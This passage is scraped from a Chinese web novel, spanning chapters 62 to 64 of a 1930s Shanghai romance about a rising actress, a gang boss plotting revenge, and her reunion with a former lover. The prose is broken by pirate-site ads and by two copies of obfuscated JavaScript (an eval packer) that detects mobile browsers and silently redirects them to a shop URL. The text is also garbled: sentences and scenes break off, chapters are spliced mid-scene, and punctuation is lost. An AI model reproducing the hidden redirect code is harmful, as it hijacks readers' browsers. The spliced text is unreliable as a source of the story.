但她仍未打消心里的疑虑,拧眉思量片刻,有人过来找她:“闻小姐,刘老板找你。” 闻亭丽忙换了一张笑脸说“好”。一出来,就看见黄远山和大老板刘梦麟一行人。 刘老板一手夹着雪茄烟,冲她招手:“你来。鸳梦公司听说我们公司的新戏要杀青了,想找一位女明星为他们的新产品拍一组广告,产品是脚踏车,报酬相当不错,我就让广告部推荐了你,假如对方明日能定下来,就会马上签合同,你自己的意思如何?” 闻亭丽心中狂喜,面上却尽量表现得很泰然:“一切听公司安排吧。” 刘老板扭头对身边人笑道:“瞧瞧,十足的滑头,天生当明星的料。” 在场的人都笑了,黄远山也是一脸笑容,自从片子顺利走到尾声阶段,眼见她心情一天好似一天,她笑着接过话头:“明天上午你早点来公司,《振声晚报》要给你做一期专访,我在旁边帮你把关。” “给我做——专访?” “你是此片的女主演,找你做专访很奇怪吗?” 闻亭丽心口怦怦跳 个不停。 她低估了黄金影业在业内的影响力片子还没上映全世界的闪光灯好像都对准了她又是广告片又是专访的……这让她在不知所措的同时又萌生出一种强烈新鲜的刺激感。 难怪世上那么多人醉心于名与利这东西好像真会让人上瘾。 要知道在正式进入片场之前她最大的兴趣就是拿到片酬。 可现在她隐约意识到:杀青对她来说并非终点而是一个全新的起点。 黄远山在闻亭丽眼前晃了晃手笑道:“发什么愣明日记得早些来公司。” *** 次日中午闻亭丽同黄远山坐车去邓脱摩饭店接受《振声晚报》的采访。 这地方是黄远山提前指定的她喜欢同报人在饭店的餐厅里边吃边聊她说这种状态下接受采访最放松。 席上闻亭丽并没有侃侃而谈只在对方指明要她回答问题时才不失诙谐地答上几句。 黄远山对闻亭丽的机警相当满意。 采访完毕已是黄昏时分一行人从饭店里出来摄影师看夕阳正好一时兴起要求在门前的人行道帮闻亭丽和黄远山拍几张背影照片。 这是好莱坞现今顶流行的一种拍摄手法闻亭丽和黄远山都不是扭捏的人当场就应了。 这番举动自然引来了路人的好奇心理不少人驻足围观有人悄声打听:“那边拍照的是哪位明星?” “有点面熟叫不上名字。听说是黄金影业的新人马上有片子要上映了。” “欸!不会是前段时间闹得沸沸扬扬的《南国佳人》吧?” 马路对面一个不起眼的角落里静静停着一辆车见此情形有人冷哧一声。 “瞧她这一脸风光的样子这是要当大明星了?没想到闻家也有祖上冒青烟的一天!” 车内另一人堆起笑容对邱大鹏说:“邱堂主您要我帮您调查的事情也查到了您看那笔赌债……” 邱大鹏掐灭手里的烟头慢吞吞道:“小邓啊你这笔赌债可不是小数181总会那里你欠一万大洋同兴坊陈老板那儿你又挂账五千你觉得凭你这点不痛不痒的消息抵得上一万五大洋的赌债吗?” 邓天星忍气哀求道:“邱堂主 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)您是白龙 帮有头有脸的人物,只要您一句话,别说是一万五千大洋,便是五十万大洋也能一笔勾销。您也知道,我也曾经风光过,要不是当初姓陆的做得太绝,我何至于落到这个地步。” 说更新,记住域名caixs.com↓(请来才小 说 看最新章节 完整章节) 邱大鹏和颜悦色拍拍邓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603299|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天星的肩膀:“邓先生,你可能误会了,你的过去我邱某人毫不关心,我只关心你还能不能从闻亭丽那边打探到更多有用的消息。” 邓天星面有难色:“闻亭丽非常谨慎,我那位朋友费了许多心思都没能查到什么有用的线索,她好歹也是一个千金小姐,再让她冒着风险去偷人家东西,恐怕不大合适。” 邱大鹏目光闪过一抹厉色:“你把白龙帮当作什么了?敢在我面前东拉西扯!我眼下只关心当初究竟是谁对我儿子放了暗枪。我给你三天时间,你带点真正有用的东西来回话,否则——” 邓天星身子一抖,咬咬牙说:“我再想想办法!” 邓天星走后,邱大鹏再次将刺刀一般的眼神射向对街的闻亭丽。 没想到此事查到最后,竟查到了闻亭丽的头上。 原本他从未怀疑过闻亭丽,毕竟她是他看着长大的,此前他也从未听说过她会使枪,所以哪怕得知她跟陆世澄走在一起了,他也没想过儿子遭人暗算的事会与闻亭丽有关。 好在苍天有眼,那日竟叫他在181总会馆听到这姓邓的小子说起一事…… 那段时日,姓邓的小子刚被陆家逐出电影界,趁着手里还有一些余钱,整日混迹于赌场中。 他去181总会的那一天,碰巧撞见邓天星在跟另一位客人打架,对方似乎知道一点邓天星被赶出黄金影业公司的内幕,当面嘲讽邓天星是个戇度,一个大男人暗算一个小姑娘不说,还因为算计不过被整个电影行业封杀。他这种人也好意思学人家来赌场碰运气,趁早滚出去才是正经。 邓天星气急败坏,骂道:“你说闻亭丽?当初要不是我手下留情,哪还轮得到她当女主角。” 邱大鹏听见“闻亭丽”这三个字,忙让手下人把他们拉开,另外买了几组筹码送给邓天星,假惺惺问邓天星出了何事。 邓天星胆子虽大,却也不敢糊弄白龙帮的人,只好吞吞吐吐将当日的事说了。 “我那兄弟牛高马大的,将她从那样高的楼梯上推下去,她就算 不摔出骨折,脸上也会破相,可她第二天就没事人一样去公司参加试镜了,你们说这姓闻的是不是有鬼?” 邱大鹏心中一动:“你怀疑她有身手?” 邓天星摇摇头说:“我不知道,但据我兄弟说,这小姑娘反应快得出奇,而且很懂保护自己,二十多级楼梯滚下来,连一颗牙都没摔掉,这要是没学过一点搏击术,谁信?” 邱大鹏脑中轰隆作响,难不成这孩子因为亲爹的事受了刺激,暗中找门路拜了师? 他一早就知道闻亭丽新赁的公寓离事发地不远,只是那时候他压根没有将这事与儿子受伤的事联系到一起。 而且那一阵他忙着照顾重伤的儿子,根本无暇抽出大把时间来调查,如今细想,也许闻亭丽根本不像表面上那样单纯。万一她暗中学了一些本事,甚或认识了一些江湖上的人,那么她完全有机会在射伤凌云之后,把陆世澄悄悄转移出来。假如她有同伙,这一切做起来就更容易了。 怪不得那之后没多久,闻亭丽就跟陆世澄公然出双入对了。 时间点未免也太巧! 邱大鹏越想,就觉得自己的推测合理,越想,就越觉得恨意滔天,拜当晚那两发暗枪所赐,他的儿子如今成了一个只能瘫卧在床的废物。 她闻亭丽倒是混得风生水起了!他的肺都快气炸了! 他咧开一口黄牙对着那头阴恻恻一笑,不急,等他把一切都查清楚的那日,就是这小贱人的死期! 走着瞧! *** 这天傍晚,闻亭丽从学校回来,连口水都顾不上喝,就匆匆钻进卧室取东西。 “要去剧组吗?把桌上那盒饭拿着。”周嫂追在后面说。 “不是,欣欣百货的董大小姐过生日,我得去给人家贺寿。”闻亭丽找出自己给董沁芳准备的生日礼物,急急忙忙坐到镜子前梳头。 梳着梳着,她把目光投向了客厅的电话,白日里罗殊红那番举动实可疑,依她看,多半有人在背后捣鬼,但这次她不再想等着对方自己露出马脚,她要主动出击。 刚给厉成英打完电话,周嫂走过来将一沓报纸递给闻亭丽。 “你瞧瞧这个。这几日我向周围的邻居问了一圈,都说这附近没有像样的幼稚园(注),倒是昨天傍晚碰见对 门的柳太太,她跟我说,她昨天读报时无意中看见几则托儿所的招生广告,有一家养真幼稚园是商务印书馆开的,很正规,关键离此地还不算太远,她让我把报纸拿给你看看。 闻亭丽高兴接过报纸,过完年小桃子就虚岁四岁了,周嫂不识字,总待在家里不是长久之计,她得尽快帮小桃子找一家能授课的幼稚园。 广告栏上果然有一则养真幼稚园的招生通知,她忙记下那上头的联系方式,对周嫂说:“这会儿柳太太多半还没下班回来,柜子里有几盒洋行买的朱古力和红茶,待会您一起拿过去送给对面,柳太太作风很西派,这礼物她准会喜欢,您就说这是我的意思,谢谢她帮忙提供消息。 周嫂应了,闻亭丽便要收起报纸,忽又在右边的版面上发现一则通知。 【上海外侨商会将于公历新年一月一日举行年会,届时由陆会长亲自主持会议,地点定于xx路xx饭店,欢迎社会各界人士莅临。】 闻亭丽心脏猛地一缩。 她大概是对“陆字过敏,光是看到这个消息就一阵眩晕。 不过她很快又冷静下来,也许,回来的只是陆老先生,毕竟陆家在沪上再有影响,以陆世澄的年纪和资历,目前还当不上外侨商会的会长。 何况就算真是陆世澄回来了,又与她有什么关系。 她满不在乎地将报纸扔回茶几上。 作者有话要说 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 63 章 【第二更】重逢。 第63章【第二更】重逢。 董沁芳的生日宴在董公馆举行。 董家一贯会经营,董沁芳又是董家年轻一辈中最受器重的一个,她过生日的消息一经传出,沪上大半名流都来了。 门前停着一长串的豪华汽车,有管事过来给闻亭丽开门,她笑吟吟跟人进了大厅,前方传来一声热情的招呼。 “我们的大明星来了。” 无数道视线集中在闻亭丽脸上,到处是花团锦簇,到处是银光闪闪的人影,一时也分不清谁是谁,愣神间,一阵香风卷到闻亭丽面前。 “亭丽。” 闻亭丽将手里的礼物捧给董沁芳。“沁芳姐,生日快乐。” 董沁芳随手将手里的香槟杯递给身边人,郑重其事打开盒子,一看便露出惊喜的笑容:“这也太别致了,我太喜欢了。真是的,你人来就好了,还费心准备什么礼物。” 闻亭丽心知董沁芳未必瞧得上这个,但她那真诚的语气让人相信她是发自内心地喜欢。 她真是个可爱的人,闻亭丽微笑着想。 “跟我来,那边好多年轻朋友想认识你。”董沁芳兴致勃勃将闻亭丽拉到一旁的休息室内,里面坐了不少客人,有男有女。 “这位就是闻小姐吗?” “对,她是我们低几届的校友,如今在沪江大学念一年级,同时她也是我们欣欣百货第一届选美比赛的冠军。” “黄导演经常夸赞的那位新人就是她吧,久仰久仰!” 这些人当中,有的闻亭丽认识,大多数她没什么印象,但她知道第一印象在社交场合中有多么重要,于是露出最可爱真诚的笑容,逐一跟对方握手。 “我跟闻小姐就不必相互介绍了吧,她是我妹妹的同班同学,我跟她也算是老朋友了。” 说话这人冲闻亭丽坏笑着眨眨眼,正是高筱文的哥哥高庭新。 “闻亭丽什么时候跟你算老朋友了?人家统共没跟你说过两句话。”高筱文对高庭新翻了个白眼,顺势将闻亭丽拉到那边坐下,“别理他。” 黄远山在桌上跟人打桥牌,扭头见闻亭丽坐到自己身边,压低嗓门对她说:“月照云过几天来上海——瞧把你高兴的,她知道片子 快杀青了,怎么也要过来探一次班的。” “她在哪家饭店下榻?我想私底下约月姐吃个饭。” “‘月姐’?你什么时候跟月照云这样熟了?行行,等她来了,我就把她房间电话给你,你自己约吧。” 闻亭丽不懂桥牌,在旁陪坐一晌,不得要领,高筱文便提议:“我们到花园走一走吧。” 花园明亮如昼,到处都是客人。董家的花园是半中半西的风格,偌大的绿色草坪上居然还建有苏式假山,幸亏场地够大才不显得太突兀,就连招待客人的点心和茶水,也是中式西式各一套,这边有人喝香槟,那边却有专人为年长客人沏绿茶,倒也其乐融融。 两人在凉亭里坐下没多久,不经意在人堆里发现了乔太太,今晚的乔太太格外容光焕发。 “你听说了乔家的事吧?”高筱文注视着乔太太,闲闲开腔。 “哦,什么事?”闻亭丽兴趣浓厚地观察花园里的其他客人,她唯一还算在乎的乔家人就是乔宝心,而乔宝心目前在北平一切都好,至于其他人,她才不关心。 “乔家大爷是个做生意的废料,做一桩赔一桩。几月前也不知开了什么窍,居然将香港的一家制药厂抵给了她表弟孟麒光,约好乔家孟家各占一半股份,厂子由孟麒光来经营,说白了就是企图用一堆破烂从她表弟手里套活钱,结果你猜如何?” 不等闻亭丽接腔,高筱文自己兴奋地喝了口酒,眉飞色舞地说:“孟麒光竟一手将这破烂厂子救活了!现在市面上卖得最火的小儿补天汁、月月暖心胶囊,你知道都是谁家做的吗?孟麒光!” 闻亭丽被这话引发了兴趣。前不久她才帮小桃子买过“小儿补天汁”,还别说,小桃子吃了以后,胃口是比从前更好了。方子她也看过,无外乎是几样传统的补脾之物,再加一些西医的维他命丸配方。 “听我大哥说,当时孟麒光肯接手他姐夫的那间破厂子,无非是念在他表姐这些年过得太艰难的份上伸手捞乔家一把罢了。他到香港看过厂子之后,将其改名为瑞麟制药厂,又到北平出高价买了几张宫里的老方子,结合西洋医生补‘维他命’的那一套,很快做出几款保健品出来,居然销量奇好,这几个月,光是月月暖心胶囊就卖了两万瓶。乔家什么也没做,就坐享一半分红,你瞧, 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 乔太太今晚笑得多开心,听说过两日,上海分厂就要开张了。 高筱文说着,转动脑袋四处找人。“咦,不是说孟麒光从香港回来了吗?快半年没见他了,我还等着见面向他讨教几句呢。 “你要向他讨教做生意的窍门? “当然,论起生意场中起死回生的本领,孟麒光可比我大哥强多了,我准备从他那儿取点经,顺便打听打听香港那边的市场,没准哪日我就把分公司开到香港去。 说至忘形处,高筱文的老毛病又犯了,坐在那儿手舞足蹈,一不小心将杯子里的酒泼在自己的前襟上,她懊恼地跺了跺脚,“莲娜丽兹的新裙子,刚穿一次就报废。 闻亭丽忙掏出帕子帮着擦:“快去找沁芳姐,她准有办法。 走之前,高筱文用胳膊肘怼怼闻亭丽,示意她看对面那帮富太太。 “别怪我没提醒你,左边那位是春洋时装公司的项老板,右边那位是鸳梦公司潘老板的夫人。 闻亭丽耳朵一竖,鸳梦公司!先前那家有意找她拍脚踏车广告的公司正叫这个名字,原本前几天就应该敲定合同的,奇怪的是一直没下文。 后来她从黄远山处得知,鸳梦公司的老板原在天津做买卖,最近刚把生意做到上海来,对于找明星拍广告这种事,态度比较谨慎。 好像是潘太太方面提出了异议。她说《南国佳人》还没有上映,究竟会不会火还说不准,她不赞成找一位刚有点名气的新人拍广告,情愿出更高的价钱找小蝶君、玉佩玲等老牌明星来拍。 这件事就搁置下来了。 闻亭丽在这边暗暗留神潘太太的一举一动,潘太太身形富态,表情可爱,与人交谈时,时不时就会溜一眼花园长桌上的小蛋糕。 那是一种掺杂了白兰地的奶油蛋糕,甜香中带着一丝酒气,因外形和味道都很新颖,在宾客中大受欢迎。从潘太太桌前的叉子数量能看出,她已经吃过不只一块了,然而像是还没有吃够,碍于体面才不好再去取。 闻亭丽当即拿定了主意,刚巧一位仆欧端着酒瓶路过,她笑吟吟从对方手里借来托盘,自顾自到长桌边摆弄一番,迈脚朝那边走去。 “潘太太,项老板,沁芳姐怕怠慢了二位,特地让我过来给你们送点吃的。她非常 客气地同对方打招呼。 二人定睛看她:“你是? “我姓闻,是沁芳姐的朋友。闻亭丽甜笑着将盘子的点心一一摆在各人面前。 项老板得了一碟爱吃的蝴蝶酥,潘太太面前则特地放了两块白兰地蛋糕。 几人都微微一笑,潘太太抬眼仔仔细细打量一晌闻亭丽,笑道:“小姑娘看着有点眼熟,我们以前是不是见过? 闻亭丽将一壶茶放到潘太太手边的小桌上,顺势坐到她身边:“您绝对是第一次见我,不然准能记住我名字的。 潘太太被闻亭丽这份活泼和自信逗笑了,对旁人笑道:“小姑娘说话蛮有意思。我还真见过你的照片,你比照片上还要漂亮。 闻亭丽好奇问:“您在哪儿见我过的照片? 潘太太笑而不答。 闻亭丽也不急,不紧不慢帮她和项老板各自倒了一杯茶。潘太太吃多了甜点正觉得腻,闻亭丽这举动正合她心意,嘬了一口茶,又与旁人闲聊几句,扭头看闻亭丽仍不卑不亢在桌前张罗,便主动开腔问:“多大了?还在念书还是已经出来做事了? 她着实低估了闻亭丽与人拉家常的能力。短短十来分钟,话题就从甜品扯到了潘太太的女儿身上。 “我家大女儿跟你同岁。潘太太叹气,“性子却与你完全两样,平日不大出去交际,有空总在家里看书,我都担心她在家里闷坏了。 闻亭丽兴致勃勃地接话:“我有一个务实中学的老同学,叫燕珍珍,她在圣约翰大学念外交系,但私底下也很爱看书,她若是见了令千金,准有一大堆共同话题要聊,下次我们出来玩时,也叫上令嫒好不好。 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) 潘太太:“那再好不过,我们刚搬来上海,孩子们还在熟悉环境。小孩子嘛,就应该多跟同龄人一块儿玩耍。 这场谈话,一直持续到潘太太被人叫走才结束。 潘太太意犹未尽同闻亭丽招招手,闻亭丽目送潘太太离去,低头瞥了眼手里董太太和项老板等人的名片,今晚的收获当真不少。 忽觉侧方有人在打量自己,转头就看见了孟麒光,他站在花园一隅,被一堆人簇拥着。穿一身深色西装,一副意态潇洒的样子。数月不见,他似乎瘦了些。 他先瞥瞥她含着笑意的 嘴角,又看看她手中的名片,不必说,方才她跟潘太太等人结交的过程,都被他看见了。 闻亭丽在花园里找了一圈,没能找到高筱文,只好先行回主楼。 进盥洗室时,身后突然传来高跟鞋的声音,只当是其他女眷也进来解手,也就没在意。然而直到她在里头补完妆,那人也没跟进来。 闻亭丽忽觉得不太对劲,返身追出来看,走廊上已经没人了,可那人明明要跟她一起进盥洗室…… 她满腹疑团,沿着脚步声来的方向一路找出去,走廊上并没有其他出口,一直走到道路尽头才有一扇通往花园的玻璃门。 她立在玻璃门前望望左右,静悄悄顺着台阶走下去,不期然在小道上迎面撞见一个人。 闻亭丽脑中的神经绷得正紧,顿时吓得一个激灵。 “孟先生。 孟麒光下意识顺着她向自己后方看了看,重新将视线落回闻亭丽的脸上。 “看见什么了,怕成这样? 闻亭丽勉强定了定神:“没事,我找高小姐呢。 说着便冲孟麒光笑了笑,越过他就向前去。 孟麒光却伸臂拦住闻亭丽:“先别走,闻小姐,可否借一步说话。 闻亭丽暗忖,何必每次见他都刻意躲着,于是点点头,同他走到路边的花架下。 一开始,孟麒光没有马上开腔,只插着裤兜居高临下打量闻亭丽。 闻亭丽抬眸瞅瞅他,这个人的眼睛太毒,目光也太直接,打量人时,不似在看皮相,倒像是要穿过人的表面看到骨头里似的。 她不喜欢这种被人看得透透的感觉:“孟先生找我有什么事吗,要是没什么事,我得去找我朋友了。 “真奇怪,你为何每次一见到我就想走,难道我身上有刺吗? “大概是因为我跟孟先生不熟。 孟麒光有意无意地,朝先前闻亭丽跟潘太太等人聊天的地方看了眼。 “可是据我所知,你是很喜欢与人交际的,不管是熟与不熟。 闻亭丽哑然。 孟麒光脸上的笑意稍稍收敛:“不同你绕弯子了。今晚我找你,是想同你要一个人的联系方式:佟兆晖现在何处? 闻亭丽心中猛地一跳。 “佟什么?说着踮脚看看远处,“孟先生,对不住,我朋友说不定已经在到处找我了,我真得走了。 孟麒光再次伸臂将闻亭丽拦住:“不要再装了。闻小姐,四个月前你做过什么,瞒得过别人瞒不过我。宝心离开上海前,只跟你一个人打过几次电话,后来我才知道,她曾经将一个大男人藏在我表姐的一处旧宅里养伤,那人受的是枪伤,在房子足足养了半个月的伤才离开。伤者需要食物和医药,宝心整日处在家人的监视下,是没办法独自完成这一切的。 他突然压低嗓门:“闻小姐,什么时候你的人面这样广了? 闻亭丽茫然回视孟麒光。 “孟先生这话实在让人听不懂,宝心是同我打过几次电话,但那不过是同学之间的闲聊,什么佟兆晖什么北平,我可全不知情。 在她说话时,孟麒光饶有趣味地盯着闻亭丽脸上的每一个变化,像是不管她怎样狡辩,他都不会生气,只觉得她有意思。 等她说完,他不慌不忙从上衣口袋取里出一张东西递给她。 闻亭丽一看就止住了话头。 孟麒光:“你们很聪明,知道越危险的地方就越安全,干脆将人藏在我表姐的私寓里,可惜连宝心都不知道,尽管那间老房子已经数年没人住了,附近却还住着我们孟家的一个老下人,这人曾亲眼看到过你和宝心鬼鬼祟祟从房子后门出来,碰巧他看过报上关于你的新闻,所以当场就认出了你,你要是再不承认此事与你有关,我只能把这画像交给乔家处置了。 闻亭丽太阳穴直跳,宝心还是经验太浅,竟被她表舅抓到这样的把柄。 孟麒光长眉一扬:“你要是还嫌这些证据不够充足,我索性顺藤摸瓜把你的背景好好查一查,正好我也好奇你是怎么凭‘一个人的力量’救下佟兆晖的,整件事当中究竟有没有别人帮忙。 闻亭丽笑了笑:“宝心给我打电话时,那位佟律师已经被人救出来了,那日我之所以陪宝心去那所房子,仅是为了给这位佟律师送药,别的我什么都不知道,你跟我要人,不如直接问宝心要人。 “少跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659445|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我来这一套。这张画像足够证明你当日参与了宝心的出逃,如今宝心不肯回上海,我不同你要人,同谁要人? 闻亭丽长叹: “孟先生以为我能把宝心劝回来?难道你不知道她当初为何逃跑吗家里逼着她跟几个纨绔子弟相亲再不跑就要葬送自己的一辈子了。如今她在北平有了自己尊敬的师长还在学校里结交了一大帮志同道合的同龄朋友据我所知佟律师也很尊重她比起从前牢笼一般的生活现在的她要多自在就有多自在别说我去劝任谁都劝不回来的。” 又反问孟麒光。 “你这个做舅舅的不是也很赞同她走出去吗?不然为何同意她躲在你家里还一贯对她的所作所为睁一只眼闭一只眼这说明你也看不惯你姐姐姐夫的做法何况你要是存心想让宝心回上海早把她抓回来了。” 孟麒光哂笑他倒是想把宝心揪回来可惜她一到北平就换了名字前一阵他从香港回来好不容易找到宝心念书的学校没想到她一看到他就跑。他不想让她在同学面前难堪只好先回来。 “这样吧你帮忙转告宝心一句:半年前乔家处在水生火热之中不得已才将主意打到儿女亲事的头上现在乔家境况有所好转姐姐姐夫在我的劝说下也打消了逼宝心相亲的念头。如今宝心在北平天天跟一帮学生闹革命家里人很担心她的个人安全我呢也怕她出事至于那个佟兆晖——” 孟麒光想了想。 “我令人调查过他的家世也算书香门第出身。只要他这人人品不坏也不是不能做宝心男朋友的但前提是我得亲眼见他一面。” “孟先生是要我把这些话转达给宝心?” “是。” 闻亭丽面露难色:“我——姑且试试吧。” “你必须得做到。”孟麒光含笑望着她目光直白得像是能探进她的内心“毕竟没有闻小姐帮忙他们当初也不能跑得那样顺利。” 又好奇看看闻亭丽来时的方向 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)低声问她:“刚才为何怕成那样?” 这让他的语调听上去异常温柔闻亭丽不响尽管孟麒光今晚将了她一军但她不得不承认他相当懂人性而且他的关心也不完全是假的。 当然她不会告诉他她正怀疑有人跟踪自己只耸耸肩:“我得去找朋友了。” 刚走两步背后传来孟麒光的声音:“不愿意说也没关系但我想提醒你一句一个人的直觉是骗 不了人的,你觉得有人想害你,那多半是真的。你要处处当心,假如遇到了什么麻烦,可以给我打电话,宝心的房间号码是通总线的。” 闻亭丽脚步微顿。 “别太逞强,这世道,单枪匹马是闯不出什么名堂的,有人肯帮,这是你的本事,没什么好难为情的。” 她回头看去,孟麒光笑着往另一侧走了。 *** 接下来的两天,闻亭丽处处当心,但此后再没发生过奇怪的事,整日里风平浪静。 她因为事先跟厉成英打过招呼,心里倒也不慌,在此期间又给乔宝心打了一个电话,将孟麒光那晚说的话对她说了。 电话那头,乔宝心陷入了缄默中。 闻亭丽没有催宝心作答,整件事她只是负责转达,究竟该怎么做还得宝心自己拿主意。 好在孟麒光那边也没有催促过她,他这人,某些方面倒还算懂分寸。 不知不觉间,时间到了公历新年这一天,《南国佳人》只剩最后一场戏就能杀青了。 从早上起,闻亭丽就有点心不在焉,出门时本来穿了一件普普通通的鸭蛋青夹棉旗袍,忽又返回房间换上一件米色西式大衣,头上戴上一顶黑色贝雷帽,另配一副黑色小羊皮手套。 周嫂顿觉眼前一亮。 “今天又有哪位朋友过生日?” 闻亭丽一眼看到桌上堆着朱古力和红茶,惊讶问周嫂:“前几天不就让您把这些礼物送给对门的柳太太吗?” “别提了,我天天去对面敲门,可柳家总没有人。”周嫂说,“估计人家两口子回娘家了。” 闻亭丽皱了皱眉,在一起住了这么久,多少也算知道一些对门的生活习惯。 柳先生柳太太都在银行里上班,两口子每天早上八点出门,晚上七八点回家,没有一天不是如此,只有礼拜天那日才会回娘家一趟。 这才礼拜三,为何一整天都不在家……旋即又想,说不定人家请假出去玩了,随口说:“要不您把东西先收着,改天我在家的时候,我再亲自带小桃子登门道谢。” 到了剧组,闻亭丽的这身装扮大受欢迎,几乎每个人见到她都会忍不住夸赞一句。 “今天怎么这样漂亮?” “快过新年了嘛,穿新衣 心情好。”闻亭丽笑答。 中午收工时黄远山过来找闻亭丽:“鸳梦公司的潘太太说晚上想找我们去卡尔登饭店吃饭看戏你晚上没事吧?” “就算有事为了潘太太也得推掉不是?”潘太太这边的关系是她好不容易才结交下来的她还等着早点跟人家敲定广告合同呢。 当天因是公历新年片场收工比平时早。闻亭丽同黄远山等人从剧组出来时间才五点钟。 天色有点阴阴的俨然要下雪的样子。 街上很热闹许多商店的橱窗都贴上了大红色的窗花深灰色的街道上充满了过节的气氛黄远山心情不错一路都在聊拍戏的事开车到了卡尔登饭店径直到楼上包厢。 潘太太已经点好菜了一桌都是珠光宝气的太太小姐一看到闻亭丽就笑:“大明星来了。” 饭吃到一半时 “上月就回来了不知是不是在外头受够了洋人的气一下船就像变了个人似的口口声声说要振兴民族工业一回来就进他父亲的公司当学徒今天还主动随他父亲去上海南洋商会去参加爱国商人年会呢。” 众人笑道:“这才是留洋念书的意义!马少爷真是越来越懂事了。” 闻亭丽听到“上海南洋商会”这句话不禁发起怔来要不是黄远山提醒她手里的汤勺差一点就蹭到衣领上。 吃完饭一班人按照原计划去潘太太家里打牌凑巧潘家新买的房子就在花园饭店附近。 下车时闻亭丽有意无意往对街一望饭店的珐琅彩玻璃门敞开着台阶两侧站着头戴圆筒形平顶帽子的白俄服务生不断有衣着光鲜的宾客入内看样子年会已经开场了。 到了潘太太家里牌桌早已准备好了黄远山虽然喜欢交朋友却深恶牌桌上的应酬打着打着就开始打呵欠不到九点钟就找了个借口告辞了。 闻亭丽应付这类场合却是如鱼得水全程精神奕奕坐在潘太太身边时不时说两句俏皮话调节气氛赶上潘太太手气不好还会帮忙摸一把牌。 她手气好每回摸来的都是好牌潘太太一口气扳回四局乐得直说闻亭丽是自 第 64 章 【三更合一】开口... 第64章【三更合一】开口. 看着她上车后,陆世澄从车前绕到另一侧,打开车门上车。 闻亭丽摆出一副冷淡的态度,但内心一点也不平静。 数月不见,他的身形似乎更高挑了,五官和轮廓也深刻了几分,从前他的气质介乎于少年和成年男子之间,现在渐渐偏向于成熟了,举手投足间散发着一种说不清道不明的魅力,通身是清雅的风度,让人情不自禁想多看几眼。 一贯优异的语言能力在这一刻骤然失灵,她甚至拿不定主意该用哪句开场白狠狠刺他一下。 我还以为陆先生已经死了呢。 什么时候回来的? 你还回来做什么?! 在这些幻想出来的对话中,闻亭丽逐渐淡忘了当初他们两个是因为什么缘故而闹翻,委屈的情绪反倒在心里越煮越浓。 突然间,她的眼泪就像一锅刚煮沸的开水,毫无预兆地从眼眶里滚了出来。 她故作坚强昂起头,充满心酸地用手背擦了把泪水。 假如这时候陆世澄停下车帮她擦眼泪,她不是不可以原谅他的。 他没有手帕的话,可以像上次那样用自己的手背和袖子帮她擦,她不介意。 然而,身边的人毫无反应,车倒是越开越快。 最好大吵一架才好!她恨恨地想。 在外头冻了那么久,车厢里却异常温暖,骤冷骤热之下,鼻腔便有点发痒,冷不丁就打了个喷嚏,她正不知如何挑衅他,这下福至心灵,借着那股残存的痒意连打好几个喷嚏。 陆世澄的车座上有外套,她看见了。 她在给他机会主动向她低头。 他做不到对她的感受置之不理的,他在她面前有多绅士和体贴,她比谁都清楚。只要他一时忘形把自己的衣服披到她身上,她就顺势扑到他的肩膀上,哭他个撕心裂肺,骂他个狗血淋头! 不出所料,她一打喷嚏,他就下意识踩住了刹车,静了片刻,反身从后座把自己的外套拿起来,但只是放到她膝盖上便立刻离她远远的,压根没给她靠上来的机会。 为了不碰到她的身体,他的胳膊伸得要多长,他的身躯离她要多远有多远,简直像在变戏法! 他怎么不索性把那条胳膊当场剁下来呢! 闻亭丽没好气地把他的外套扔回他的膝盖上。 “我不要,请拿走!” 他望着前视窗,再次发动汽车。 之后的一路,闻亭丽赌气不再发出任何动静,而他也仿佛屏蔽了周围的一切动静,车开得飞快。 也不知过了多久,汽车忽然刹住了,闻亭丽不肯转过来,怎么突然停下来了,要向她道歉么?不管他使出何种手段,她也是不可能再轻易接受的。 过了几秒,后脑勺那种被人盯着的感觉越来越强烈,她按耐不住心里的好奇转头看去,他果然正专注地望着她,然而,他马上提醒她看车外。 【你可以下车了。】 闻亭丽定睛一看,原来这么快就到了她家门口,陆世澄甚至周全到将车停在前庭的台阶面前。 这样她不必再冒雪就能进家门。 可是,除了周到,再没有别的。 今晚的他简直刀枪不入。 很好,她面无表情拉开车门,硬梆梆地说:“谢谢!” 陆世澄一手扶着方向盘,两眼注视着前方。 闻亭丽把自己脚上的两只靴子脱下来拿在手上,赤脚走在雪地里,忽又反身回来对着窗内说:“明明白告诉你:今晚我只是凑巧去附近的朋友家里做客,而且先前我确确实实被人跟踪了,这一向被人跟踪了不只一次,不然我也不会那样慌张地撞到你身上——不管怎么说,今晚谢谢你!后会无期!” 撂下这话,她头也不回走进楼里,进入房间,也不开灯,一头倒在床上。他还恨着她,她又何尝不恨他!从今往后她再也不要见到他,这样大家心里都干净。 发了一晌呆,她一骨碌从床上爬起来,明天还有工作,她才没空跟不相干的人生气。 她打开衣橱拿出浴袍,预备洗个澡就上床睡大觉。忽然觉得不大对劲,上楼这么久了,却一直没有听见汽车发动的声音,忙走到窗前探头向外查看,意外发现陆世澄的车仍停在台阶前。 